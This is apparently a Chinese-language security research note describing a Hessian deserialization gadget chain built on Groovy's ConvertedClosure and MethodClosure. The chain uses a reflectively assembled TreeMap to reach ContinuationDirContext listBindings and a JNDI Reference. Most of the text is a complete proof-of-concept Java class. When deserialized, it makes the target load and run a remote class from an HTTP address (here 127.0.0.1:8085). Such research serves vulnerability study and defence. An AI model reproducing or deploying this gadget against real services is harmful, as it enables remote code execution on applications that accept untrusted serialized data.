触发点使用了 TreeMap 触发 compareTo 方法,使用 ConvertedClosure 生成动态代理对象,将方法调用转移至 MethodClosure 封装类,借用其 doCall 方法进一步调用 ContinuationDirContext#listBindings 方法触发后续的攻击流程。
直接TreeMap#put会报错
解决报错
就不能直接使用TreeMap#put了
看看put方法是干了什么
跳过前面的代码,避免调用compare
其实就是创建了TreeMap.Entry,然后挂入父节点
已知TreeMap是二叉树,放入两个节点(两次put操作)
放入第二个节点时候就会比较key,进行排序,那我们序列化的时候就直接排序好
根节点就是普通数据,右节点放入要触发的对象
第三个参数是父节点(root节点,父节点为null)
放入根节点
TreeMap treeMap = new TreeMap<>(); Class<?> e = Class.forName("java.util.TreeMap$Entry"); Constructor<?> declaredConstructor = e.getDeclaredConstructor(Object.class, Object.class, e); declaredConstructor.setAccessible(true); Object commonEntry = declaredConstructor.newInstance("a", 1, null); Reflect.setValue(treeMap,"root",commonEntry);
|
放入第二个节点
Object proxyMapEntry = declaredConstructor.newInstance(proxyMap, 2, commonEntry); Reflect.setValue(treeMap,"size",2); Reflect.setValue(treeMap,"modCount",2);
|
poc
package com.yyjcccc.hessianser.gadget;
import com.yyjccc.exploit.util.Reflect; import com.yyjcccc.hessianser.usage.HessianSerize; import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure;
import javax.naming.CannotProceedException; import javax.naming.Context; import javax.naming.NamingException; import javax.naming.Reference;
import java.lang.reflect.Constructor; import java.lang.reflect.Proxy; import java.util.Hashtable; import java.util.TreeMap;
public class GroovyGadget {
public static Object payload() throws Exception{ String addr="http://127.0.0.1:8085/"; String className="HVzHJCkI"; Reference ref=new Reference(className,className,addr);
CannotProceedException cpe = new CannotProceedException(); Reflect.setValue(NamingException.class,cpe,"resolvedObj",ref); Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true); Context context = (Context) constructor.newInstance(cpe, new Hashtable<>());
MethodClosure methodClosure = new MethodClosure(context,"listBindings"); ConvertedClosure closure=new ConvertedClosure(methodClosure,"compareTo"); Comparable proxyMap = (Comparable) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Comparable.class}, closure); TreeMap treeMap = new TreeMap<>(); Class<?> e = Class.forName("java.util.TreeMap$Entry"); Constructor<?> declaredConstructor = e.getDeclaredConstructor(Object.class, Object.class, e); declaredConstructor.setAccessible(true); Object commonEntry = declaredConstructor.newInstance("a", 1, null); Reflect.setValue(treeMap,"root",commonEntry);
Object proxyMapEntry = declaredConstructor.newInstance(proxyMap, 2, commonEntry); Reflect.setValue(treeMap,"size",2); Reflect.setValue(treeMap,"modCount",2);
Reflect.setValue(commonEntry,"right",proxyMapEntry); return treeMap; }
public static void main(String[] args) throws Exception { byte[] serialize = HessianSerize.serialize2(payload()); HessianSerize.deserialize(serialize); } }
|
Reference